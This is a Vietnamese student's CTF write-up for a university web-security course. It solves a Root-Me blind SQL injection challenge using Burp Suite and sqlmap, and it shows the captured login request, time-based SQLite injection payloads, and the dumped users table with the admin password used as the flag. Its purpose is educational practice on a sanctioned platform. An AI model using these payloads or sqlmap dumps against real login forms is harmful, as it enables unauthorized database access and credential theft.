

BÀI TẬP CTF

Bảo mật web và ứng dụng – NT213.M21.ANTN

Giảng viên hướng dẫn: *Đỗ Hoàng Hiển*

Sinh viên thực hiện: *19520199 – Lê Tôn Nhân*

Challenge 11: SQL injection - Blind (level medium)

Link challenge: <https://www.root-me.org/en/Challenges/Web-Server/SQL-injection-blind>

- Bài này yêu cầu ta lấy password của admin

SQL injection - Blind

50 Points 

Authentication v 0.02

Author

g0uZ, 27 February 2011


Level 



Statement

Retrieve the administrator password.

- Đầu tiên ta cần tìm hiểu một chút về SQL injection – Blind. Blind SQL injection xảy ra khi một ứng dụng dễ bị tấn công bởi SQL injection, nhưng các phản hồi HTTP của nó không chứa kết quả của truy vấn SQL có liên quan hoặc chi tiết của bất kỳ lỗi cơ sở dữ liệu nào. ([sql-injection/blind](#))
- Truy cập vào thử thách, ta nhận được 1 tab là authentication



Authentication v 0.02

Login

Password

connect

- Thử đăng nhập với user/password là **admin/admin** thì kết quả trả về là **Error: no such user/password**

Authentication v 0.02

Error : no such user/password

Login

Password

connect

- Bài này dùng phương thức POST để truyền truy vấn khi ta click vào connect
- Sử dụng **burpsuite** để bắt gói tin

```
Request
Pretty Raw Hex ↵ ↶ ☰
1 POST /web-serveur/ch10/ HTTP/1.1
2 Host: challenge01.root-me.org
3 Content-Length: 21
4 Cache-Control: max-age=0
5 Upgrade-Insecure-Requests: 1
6 Origin: http://challenge01.root-me.org
7 Content-Type: application/x-www-form-urlencoded
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
  like Gecko) Chrome/99.0.4844.74 Safari/537.36
9 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image
  /apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
10 Referer: http://challenge01.root-me.org/web-serveur/ch10/
11 Accept-Encoding: gzip, deflate
12 Accept-Language: en-US,en;q=0.9
13 Cookie: _ga_SRYSKX09J7=GS1.1.1648739308.1.0.1648739308.0; _ga=
  GA1.1.55136260.1648739309
14 Connection: close
15
16 username=a&password=a
```

- Tại request ta thấy 2 payload của ta là username và password được truyền vào. Ở dạng bài này ta sẽ sử dụng sqlmap để khai thác
- Đầu tiên copy phần request của ta và lưu vào file blind.txt
- Sau đó để lấy database ta sử dụng lệnh **sqlmap -r /home/kali/HK6/CCHDCMD/BaiTap/BaiTap3/blind.txt -dbs**. Trong đó -r để đọc file, --dbs để lấy tên database

```
(kali@kali)-[~/HK6/CCHDCMD/BaiTap/BaiTap3]
$ sqlmap -r /home/kali/HK6/CCHDCMD/BaiTap/BaiTap3/blind.txt --dbs

{1.5.10#stable}
https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 10:21:28 /2022-04-09/

[10:21:28] [INFO] parsing HTTP request from '/home/kali/HK6/CCHDCMD/BaiTap/BaiTap3/blind.txt'
[10:21:29] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: password (POST)
  Type: time-based blind
  Title: SQLite > 2.0 OR time-based blind (heavy query)
  Payload: username=a&password=a' OR 3546=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND 'vSHL'='vSHL

Parameter: username (POST)
  Type: time-based blind
  Title: SQLite > 2.0 AND time-based blind (heavy query)
  Payload: username=a' || (SELECT CHAR(72,104,87,79) WHERE 9376=9376 AND 6350=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2))))) || 'δpassword=a
```

- Dựa vào kết quả ta biết được trang web bị lỗi time-based blind SQL injection. Không có database nào trả về. Tuy nhiên thì nó có gợi ý cho ta là khai thác luôn tên bảng
- Tiếp theo ta sử dụng lệnh **sqlmap -r /home/kali/HK6/CCHDCMD/BaiTap/BaiTap3/blind.txt --tables**. Trong đó --tables để lấy tên các bảng

```
(kali㉿kali)-[~/HK6/CCHDCMD/BaiTap/BaiTap3]
$ sqlmap -r /home/kali/HK6/CCHDCMD/BaiTap/BaiTap3/blind.txt --tables

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is
the end user's responsibility to obey all applicable local, state and federal laws. Developer
ity and are not responsible for any misuse or damage caused by this program

[*] starting @ 10:22:18 /2022-04-09/
```

- Kết quả cho ta thấy có 1 bảng là users

```
[10:37:03] [INFO] fetching tables for database: 'SQLite_masterdb'
[10:37:03] [INFO] fetching number of tables for database 'SQLite_masterdb'
[10:37:03] [INFO] retrieved: 1
[10:37:17] [INFO] retrieved: users

<current>
[1 table]
+-----+
| users |
+-----+

[10:39:22] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/challenge01
root-me.org'
[10:39:22] [WARNING] your sqlmap version is outdated
[*] ending @ 10:39:22 /2022-04-09/
```

- Cuối cùng thực hiện dump toàn bộ dữ liệu trong bảng ra bằng lệnh **sqlmap -r /home/kali/HK6/CCHDCMD/BaiTap/BaiTap3/blind.txt -T users --dump**. Trong đó sau đối số -T là tên bảng cần lấy data, --dump để lấy toàn bộ dữ liệu từ bản này.

```
(kali㉿kali)-[~/HK6/CCHDCMD/BaiTap/BaiTap3]
$ sqlmap -r /home/kali/HK6/CCHDCMD/BaiTap/BaiTap3/blind.txt -T users --dump

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 10:24:50 /2022-04-09/

[10:24:50] [INFO] parsing HTTP request from '/home/kali/HK6/CCHDCMD/BaiTap/BaiTap3/blind.txt'
[10:24:50] [INFO] testing connection to the target URL
```

- Kết quả cho ta thấy có 1 username là admin và password tương ứng là **e2azO93i**

```
[11:23:50] [INFO] retrieved: user2
Database: <current>
Table: users
[3 entries]
```

Year	password	username
2006	DsD6z756f\$!	user1
2005	e2azO93i	admin
2008	Z28gsya65ze34def	user2

- Submit password vừa tìm được ta vượt qua thử thách thành công

SQL injection - Blind

50 Points 🌩️

Authentication v 0.02

Author

g0uZ, 27 February 2011

Level ?



Statement

Retrieve the administrator password.

Start the challenge

5 related ressource(s)

- Blackhat US 2004 : Blind SQL injection automation technique (Exploitation - Web)
- FAST blind SQL Injection (Exploitation - Web)
- Blind SQL injection attacks with REGEXP (Exploitation - Web)
- Time based blind SQL Injection using heavy queries (Exploitation - Web)
- Blind SQL injection (Exploitation - Web)

Validation

Well done, you won 50 Points

Don't forget to give your opinion on the challenge by voting :-)

FLAG: e2azO93i